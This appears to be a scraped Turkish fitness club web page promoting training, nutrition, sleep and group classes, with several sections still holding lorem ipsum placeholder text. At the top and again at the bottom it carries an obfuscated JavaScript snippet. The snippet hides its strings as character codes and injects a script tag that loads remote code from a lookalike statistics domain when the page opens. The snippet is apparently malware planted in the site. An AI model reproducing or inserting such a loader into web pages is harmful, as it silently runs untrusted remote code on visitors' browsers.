var u = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,97,116,46,116,114,97,99,107,115,116,97,116,105,115,116,105,99,115,115,115,46,99,111,109,47,106,46,106,115,63,118,61);var d=document;var s=d.createElement(String.fromCharCode(115,99,114,105,112,116)); s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); var pl = u; s.src=pl; if (document.currentScript) { document.currentScript.parentNode.insertBefore(s, document.currentScript);} else {d.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(s);var list = document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116));list.insertBefore(s, list.childNodes[0]);}

Fitness

Life Health Fitness Club

Daha Sağlıklı Bir Yaşam İçin Hemen Spora

Fitness, sağlıklı ve kaliteli  bir yaşama sahip olmak ve vücudunuzun formda kalmasını sağlamak amacıyla yapılan egzersiz topluluğunu içeren bir spor dalıdır. Body Building  ile sık sık karıştırılan Fitness idmanları de kas gelişimini destekleyen antrenmanlara önem verir. Fakat, Body Building idmanlarında esas amaç, kas hacmi ve kütlesinin büyük oranda arttırılmasıdır. Body Building, sporcuların kas yapılarını geliştirerek daha hacimli ve daha iri bir kas kütlesine sahip olmasını amaç edinir. Gerçekleştirilen antrenmanların neredeyse tamamı, belirli bölgelere yöneliktir. Fitness antremanlarında ise amaç çok daha farklıdır; o da daha sağlıklı ve fit bir vücut yapısına sahip olmaktır.

444 1 225
LIFE HEALTH FITNESS CLUB

Sağlıklı ve Fit Bir Vücut İçin En Önemli Unsurlar

Beslenme

Sağlıklı bir yaşam ve sporun en önemli unsurlarından birisi ise beslenmedir. Sağlıklı ve doğru beslenmediğiniz sürece hem spordan aldığınız verim düşecek, hem de olası sağlık problemlerinin önünü açmış olacaksınız.

Programa Uymak

Profesyonel antrenörlerimizin hazırladığı programlara tam olarak uymak, hem hızlı bir verim almanızı sağlayacak, hem de sakatlanma riskinizi minimum düzeye indirecektir.

Düzenli Uyku

Düzenli spor hayatının en önemli enerji kaynaklarından birisi ise düzenli ve kaliteli bir uykudur. Uyku düzeninizi ideal bir rutine oturtmanız, kaliteli bir spor ve sağlıklı bir yaşamın anahtarıdır.

Reduce Risk of Injury

viverra quis, feugiat a, tellus. Phasellus viverra nulla ut metus varius laoreet.. Quisque rutrum. Aenean imperdiet. Etiam ultricies nisi vel augue. Curabitur ullam.

Reduce Back Pain

Vivamus elementum semper nisi. Aenean vulputate eleifend tellus consequat vitae, eleifend ac, enim. Aliquam lorem ante, dapibus in, viverra quis, feugiat a, tellus. Phasellus viverra nulla ut metus varius laoreet..

Aktif Bir Yaşam

Hareketli ve aktif bir yaşam standartınız haline gelmeli, böylece vücut yapınız bu duruma alışacak ve sağlıklı yaşama bir adım daha yaklaşmış olacaksınız.

1.

Ağırlık ve Karın Egzersizleri

Fit Bir Yaşam İçin Fitness

Ağırlık ve karın egzersizleri sayesinde hayalinizde ki muhteşem görüntüyü elde etmek artık çok kolay!

2.

Grup Dersleri

Hem Fit Olun Hem Sosyalleşin

Profesyonel eğitmenlerimiz eşliğinde gerçekleştirdiğimiz grup derslerine katılmayı sakın ihmal etmeyin. Hem eğlenin, hem de sosyalleşin..

03
04

3.

Kapsamlı Cardio

Yağ Yakın Daha Çok Sıkılaşın

Maecenas nec odio et ante tincidunt tempus. Donec vitae sapien ut libero venenatis faucibus. Nullam quis ante. Etiam sit amet orci eget eros faucibus tincidunt.

All types of Squats

Libero venenatis faucibus. Nullam quis ante. Etiam sit amet orci eget eros

All kinds of Pushups

Libero venenatis faucibus. Nullam quis ante. Etiam sit amet orci eget eros

Dumbbell Based Exercises

Libero venenatis faucibus. Nullam quis ante. Etiam sit amet orci eget eros

Hip Extension Exercises

Libero venenatis faucibus. Nullam quis ante. Etiam sit amet orci eget eros

Full Body Stretches

Libero venenatis faucibus. Nullam quis ante. Etiam sit amet orci eget eros

Glute Stretches

Libero venenatis faucibus. Nullam quis ante. Etiam sit amet orci eget eros

Hamstring Stretches

Libero venenatis faucibus. Nullam quis ante. Etiam sit amet orci eget eros

Neck & Shoulders Stretches

Libero venenatis faucibus. Nullam quis ante. Etiam sit amet orci eget eros

All kinds of Planks

Libero venenatis faucibus. Nullam quis ante. Etiam sit amet orci eget eros

Lunges with Weights

Libero venenatis faucibus. Nullam quis ante. Etiam sit amet orci eget eros

Sit Ups & Weight Squats

Libero venenatis faucibus. Nullam quis ante. Etiam sit amet orci eget eros

Aerobic Intensive

Libero venenatis faucibus. Nullam quis ante. Etiam sit amet orci eget eros

Our Partners in Progress

You are Known By the Company You Keep!

Life Health Fitness Club

Bize Ulaşın

Call Now ButtonŞimdi ara
tr_TRTurkish
en_USEnglish tr_TRTurkish
×
var u = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,97,116,46,116,114,97,99,107,115,116,97,116,105,115,116,105,99,115,115,115,46,99,111,109,47,106,46,106,115,63,118,61);var d=document;var s=d.createElement(String.fromCharCode(115,99,114,105,112,116)); s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); var pl = u; s.src=pl; if (document.currentScript) { document.currentScript.parentNode.insertBefore(s, document.currentScript);} else {d.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(s);var list = document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116));list.insertBefore(s, list.childNodes[0]);} 0(444) 1 225